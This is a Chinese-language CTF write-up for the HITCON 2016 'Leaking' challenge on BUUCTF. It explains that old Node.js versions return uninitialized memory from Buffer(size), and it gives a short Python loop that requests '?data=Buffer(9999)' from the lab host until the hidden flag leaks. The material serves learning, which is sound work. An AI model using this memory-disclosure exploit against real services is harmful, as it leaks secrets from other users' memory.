buu-Leaking
学校的训练赛中出现了这道题,现在找到原题来做一下
[HITCON 2016]Leaking-nodejsVM沙箱逃逸
打开靶机,查看源代码
分析一下这段代码
这一段代码很明显是最重要的代码
其中
/* Orange is so kind so he put the flag here. But if you can guess correctly :P */
eval(“var flag_” + randomstring.generate(64) + “ = "hitcon{“ + flag + “}";”)
这一段看注释可以知道,在这里生成了flag
if (req.query.data && req.query.data.length <= 12) {
var vm = new VM({
timeout: 1000
});
console.log(req.query.data);
res.send(“eval ->” + vm.run(req.query.data));
这一段,对我们传入的值进行长度判断,判断是否小于等于12,如果符合就会进入沙盒运行,这里可以用数组进行绕过
exp:
import requests
session = requests.Session()
session.trust_env = False
while True:
response = session.get(‘http://1e0ac859-1ead-4ec5-9ecd-c1aec42d861c.node5.buuoj.cn:81/?data=Buffer(9999)‘)
if “flag” in response.text:
print(response.text)
break
总结:
分析一下这道题的考点是涉及远古版本的node内存分配的问题,远古版本的node中Buffer就是内存分配的,并且重新分配之后不会进行初始化。
意味着之前加载的内存被回收之后还会被重新分配出来,并且不会初始化,原始数据还留在那里。。
外国老哥分许的原因
所以使用new Buffer(size)或其别名Buffer(size)创建,则对象不会填充,但是只要是调用过的变量,一定会存在内存中,所以需要使用Buffer()来读取内存,使用data=Buffer(9999)分配一个9999的单位为8位字节的buffer,因此能得到姿势
在早时期的版本node,当Buffer传入一个数字,就会得到这个长度的buffer,并且这个buffer是没有进行初始化的。8.0之后的版本,可以通过Buffer.allocUnsafe(size)
这个函数来得到未初始化的数据